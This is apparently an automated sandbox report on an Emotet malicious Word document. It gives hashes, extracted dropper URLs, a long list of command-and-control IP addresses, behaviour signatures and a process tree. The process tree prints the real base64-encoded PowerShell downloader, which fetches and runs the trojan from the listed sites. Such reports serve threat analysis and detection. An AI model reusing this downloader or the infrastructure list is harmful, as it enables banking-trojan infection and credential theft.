emotet | 8e9ea983df247a2cf74be05efbf73463f47d6f0540914068a2d53fc69595ae95

Analysis

max time kernel
146s
max time network
155s
platform
windows10_x64
resource
win10v200722
submitted
14/09/2020, 15:11

Sharing

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General

Target
emotet_e2_8e9ea983df247a2cf74be05efbf73463f47d6f0540914068a2d53fc69595ae95_2020-09-14__150755._doc.doc
Size 167KB
Sample200914-gs569dxlsx
SHA256 8e9ea983df247a2cf74be05efbf73463f47d6f0540914068a2d53fc69595ae95
MD5 4011fff07a9a5721da5af06ec8d7533f
SHA1 88dfef0a82b85de9336f28bdfca762438d600e17
SHA512 5e86df6b1373aff91494e82a0ef6d323657fffe5ba8851d8aabdfb3fde301285dc75105c46f3952206b2758e7e4fa284fc09390dd8b560b73b99c1f7a872eb79
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://blueyellowshop.com/wp-includes/mihae8A/
exe.dropper
http://kingsalmanquran.com/wp-content/wuPyeI/
exe.dropper
https://dagranitegiare.com/wp-admin/Z21r6R/
exe.dropper
http://acontarborreguitos.com/acontarborreguitos/I/
exe.dropper
http://atenaclinicaesegurancadotrabalho.com/cgi-bin/NlMH/
exe.dropper
http://digitalbazar.com/wp-admin/RVEzrK/
exe.dropper
https://byc-center.com/wp-admin/Z4r/

Extracted

Family

emotet

82.225.49.121:80
120.138.30.150:8080
139.59.67.118:443
94.23.216.33:80
203.117.253.142:80
139.99.158.11:443
87.106.139.101:8080
190.160.53.126:80
5.39.91.110:7080
107.5.122.110:80
174.102.48.180:443
194.187.133.160:443
153.177.101.120:443
104.236.246.93:8080
78.24.219.147:8080
94.23.237.171:443
85.66.181.138:80
157.245.99.39:8080
201.173.217.124:443
91.211.88.52:7080
97.82.79.83:80
209.141.54.221:8080
120.150.60.189:80
12.30.50.130:80
85.105.205.77:8080
95.179.229.244:8080
24.43.99.75:80
37.187.72.193:8080
85.152.162.105:80
5.196.74.210:8080
85.214.28.226:8080
82.80.155.43:80
61.92.17.12:80
153.232.188.106:80
93.147.212.206:80
67.205.85.243:8080
168.235.67.138:7080
62.75.141.82:80
75.139.38.211:80
121.124.124.40:7080
24.137.76.62:80
94.200.114.161:80
139.162.108.71:8080
185.94.252.104:443
95.213.236.64:8080
50.35.17.13:80
37.139.21.175:8080
162.241.242.173:8080
68.188.112.97:80
200.114.213.233:8080
188.219.31.12:80
50.91.114.38:80
139.59.60.244:8080
169.239.182.217:8080
137.119.36.33:80
74.208.45.104:8080
104.131.44.150:8080
203.153.216.189:7080
79.137.83.50:443
79.98.24.39:8080
174.45.13.118:80
176.111.60.55:8080
1.221.254.82:80
47.144.21.12:443
46.105.131.79:8080
62.30.7.67:443
109.74.5.95:8080
187.161.206.24:80
89.216.122.92:80
172.91.208.86:80
103.86.49.11:8080
84.39.182.7:80
24.179.13.119:80
87.106.136.232:8080
61.19.246.238:443
137.59.187.107:8080
110.145.77.103:80
104.131.11.150:443
219.74.18.66:443
83.169.36.251:8080
139.130.242.43:80
74.120.55.163:80
190.55.181.54:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3952	3992	powershell.exe	72

Blacklisted process makes network request 2 IoCs

flow	pid	Process
21	3952	powershell.exe
23	3952	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1304	Pcy7xg6.exe
3972	fwcfg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ocsetapi\fwcfg.exe	Pcy7xg6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1520	WINWORD.EXE
1520	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3952	powershell.exe
3952	powershell.exe
3952	powershell.exe
3972	fwcfg.exe
3972	fwcfg.exe
3972	fwcfg.exe
3972	fwcfg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3952	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1304	Pcy7xg6.exe
3972	fwcfg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 1304	3952	powershell.exe	79
PID 3952 wrote to memory of 1304	3952	powershell.exe	79
PID 3952 wrote to memory of 1304	3952	powershell.exe	79
PID 1304 wrote to memory of 3972	1304	Pcy7xg6.exe	80
PID 1304 wrote to memory of 3972	1304	Pcy7xg6.exe	80
PID 1304 wrote to memory of 3972	1304	Pcy7xg6.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8e9ea983df247a2cf74be05efbf73463f47d6f0540914068a2d53fc69595ae95_2020-09-14__150755._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABRAF8AZgA3AHcAeQBzAD0AKAAoACcAUQBiACcAKwAnAG8AegAnACsAJwAzAHMAJwApACsAJwB6ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAEUAcgBwAFIATwBGAGkAbABlAFwAUABmAG4AbwB5AGgARwBcAHcAMgBsAHcARAAyAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAYABVAHIASQBgAFQAeQBgAHAAcgBvAHQAYABvAGMATwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAJwArACcAMgAsACAAdAAnACkAKwAnAGwAJwArACgAJwBzADEAJwArACcAMQAsACAAdABsACcAKQArACcAcwAnACkAOwAkAEEAZQBiADMANwAwAGMAIAA9ACAAKAAoACcAUABjACcAKwAnAHkAJwApACsAKAAnADcAeABnACcAKwAnADYAJwApACkAOwAkAFYAZwAwAHAAdgBzADIAPQAoACcARAByACcAKwAnAGUANwAnACsAKAAnADUAJwArACcAaABnACcAKQApADsAJABSAGEAOAA1AGcAOABkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGwAQgAnACsAJwBGAFAAJwArACgAJwBmACcAKwAnAG4AbwB5AGgAJwArACcAZwAnACsAJwBsAEIARgAnACkAKwAnAFcAJwArACcAMgBsACcAKwAnAHcAJwArACgAJwBkADIAJwArACcAXwBsAEIAJwApACsAJwBGACcAKQAuACIAcgBgAGUAcABMAGEAYwBlACIAKAAoAFsAQwBIAGEAUgBdADEAMAA4ACsAWwBDAEgAYQBSAF0ANgA2ACsAWwBDAEgAYQBSAF0ANwAwACkALABbAFMAdAByAEkAbgBnAF0AWwBDAEgAYQBSAF0AOQAyACkAKQArACQAQQBlAGIAMwA3ADAAYwArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFIAcwAyAHgANQBzADAAPQAoACgAJwBCACcAKwAnADAAYQBhAGQAJwApACsAJwBlADkAJwApADsAJABPAGgAdAA1ADcAdAByAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBCAGMAbABJAEUAbgB0ADsAJABVADIANwBvADQANABqAD0AKAAoACcAaAAnACsAJwB0AHQAcABzACcAKQArACcAOgAnACsAKAAnAC8ALwBiACcAKwAnAGwAdQBlACcAKQArACgAJwB5AGUAbABsAG8AdwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AcAAnACsAJwAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGkAJwArACcAbgBjACcAKwAnAGwAdQBkACcAKQArACcAZQAnACsAKAAnAHMALwBtACcAKwAnAGkAJwArACcAaABhACcAKwAnAGUAOABBACcAKwAnAC8AKgBoAHQAdABwADoAJwApACsAJwAvAC8AJwArACgAJwBrACcAKwAnAGkAbgAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnAGEAbABtACcAKwAnAGEAbgAnACkAKwAnAHEAdQAnACsAJwByACcAKwAnAGEAJwArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKQArACcAbgAnACsAKAAnAHQAJwArACcALwB3ACcAKQArACgAJwB1AFAAJwArACcAeQBlACcAKwAnAEkALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AZAAnACkAKwAoACcAYQAnACsAJwBnAHIAYQAnACkAKwAoACcAbgAnACsAJwBpAHQAJwApACsAJwBlAGcAJwArACcAaQAnACsAJwBhACcAKwAnAHIAZQAnACsAKAAnAC4AYwBvACcAKwAnAG0AJwArACcALwB3AHAALQBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8AJwArACcAWgAyACcAKwAnADEAcgA2AFIALwAqAGgAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAGEAJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAYQAnACkAKwAnAHIAYgAnACsAKAAnAG8AJwArACcAcgAnACsAJwByAGUAZwB1AGkAJwApACsAKAAnAHQAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC8AYQBjAG8AbgB0ACcAKQArACcAYQByACcAKwAoACcAYgBvACcAKwAnAHIAJwApACsAKAAnAHIAZQAnACsAJwBnAHUAaQAnACkAKwAoACcAdAAnACsAJwBvAHMAJwApACsAJwAvACcAKwAoACcASQAvACoAJwArACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AYQAnACkAKwAoACcAdABlAG4AJwArACcAYQBjACcAKQArACgAJwBsAGkAJwArACcAbgAnACkAKwAnAGkAYwAnACsAKAAnAGEAZQAnACsAJwBzACcAKQArACgAJwBlAGcAdQByACcAKwAnAGEAbgAnACkAKwAoACcAYwAnACsAJwBhAGQAJwApACsAKAAnAG8AdAAnACsAJwByACcAKQArACgAJwBhAGIAJwArACcAYQAnACkAKwAoACcAbABoAG8ALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwBjACcAKwAnAGcAaQAtAGIAJwApACsAKAAnAGkAJwArACcAbgAvAE4AbAAnACkAKwAoACcATQBIAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwAnACsAJwBkACcAKQArACgAJwBpAGcAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAYgBhACcAKwAnAHoAJwApACsAJwBhAHIAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AJwArACcAUgAnACsAJwBWAEUAegByAEsALwAqACcAKQArACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACcALwAnACsAKAAnAC8AJwArACcAYgB5ACcAKQArACcAYwAnACsAKAAnAC0AYwBlAG4AJwArACcAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwAC0AJwArACcAYQAnACkAKwAoACcAZABtAGkAbgAnACsAJwAvAFoANAAnACsAJwByAC8AJwApACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARAB5AGIAcAAxAGMAawA9ACgAKAAnAEgAJwArACcAZQB1AGsAJwApACsAKAAnAG4AJwArACcANAB1ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASAB6ADcAagBiAGEAdQAgAGkAbgAgACQAVQAyADcAbwA0ADQAagApAHsAdAByAHkAewAkAE8AaAB0ADUANwB0AHIALgAiAEQAbwB3AG4ATABPAEEAYABEAGAARgBJAEwARQAiACgAJABIAHoANwBqAGIAYQB1ACwAIAAkAFIAYQA4ADUAZwA4AGQAKQA7ACQAWAAyAGkAZQBwAGkAeAA9ACgAJwBGAHYAJwArACcAbwB4ACcAKwAoACcAcgAnACsAJwAyAGcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBhADgANQBnADgAZAApAC4AIgBMAGUATgBgAEcAVABoACIAIAAtAGcAZQAgADIAMAAxADMANgApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABSAGEAOAA1AGcAOABkACkAOwAkAFEAMgBmAGYAMgBpAHYAPQAoACcAUAAnACsAKAAnAG0AMQA5ACcAKwAnAHkAYQAnACkAKwAnAGoAJwApADsAYgByAGUAYQBrADsAJABQAGUAbQA4ADUAYwA5AD0AKAAnAFMAaAAnACsAKAAnAGYAJwArACcAegB4AHoAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwAzADEAYwBwAGoAZgA9ACgAJwBRACcAKwAnADcAJwArACgAJwA1ADcAOQBwACcAKwAnAHUAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Users\Admin\Pfnoyhg\W2lwd2_\Pcy7xg6.exe
  "C:\Users\Admin\Pfnoyhg\W2lwd2_\Pcy7xg6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\SysWOW64\ocsetapi\fwcfg.exe
    "C:\Windows\SysWOW64\ocsetapi\fwcfg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1304-15-0x0000000000500000-0x0000000000510000-memory.dmp

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memory/1304-14-0x0000000000670000-0x0000000000682000-memory.dmp

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memory/1520-5-0x00000269E7D0D000-0x00000269E7D0F000-memory.dmp

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memory/1520-3-0x00000269EA088000-0x00000269EA099000-memory.dmp

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memory/1520-1-0x00000269EA088000-0x00000269EA099000-memory.dmp

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memory/1520-2-0x00000269EA085000-0x00000269EA088000-memory.dmp

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memory/1520-7-0x00000269EA1E6000-0x00000269EA1EB000-memory.dmp

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memory/1520-6-0x00000269EA1EB000-0x00000269EA1EE000-memory.dmp

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memory/1520-0-0x00007FF95C850000-0x00007FF95CF16000-memory.dmp

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memory/1520-4-0x00000269EA085000-0x00000269EA088000-memory.dmp

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memory/3952-10-0x000002B26E380000-0x000002B26E381000-memory.dmp

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memory/3952-9-0x000002B26E0A0000-0x000002B26E0A1000-memory.dmp

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memory/3952-8-0x00007FF955700000-0x00007FF9560EC000-memory.dmp

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memory/3972-18-0x00000000005F0000-0x0000000000602000-memory.dmp

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memory/3972-19-0x0000000001FF0000-0x0000000002000000-memory.dmp

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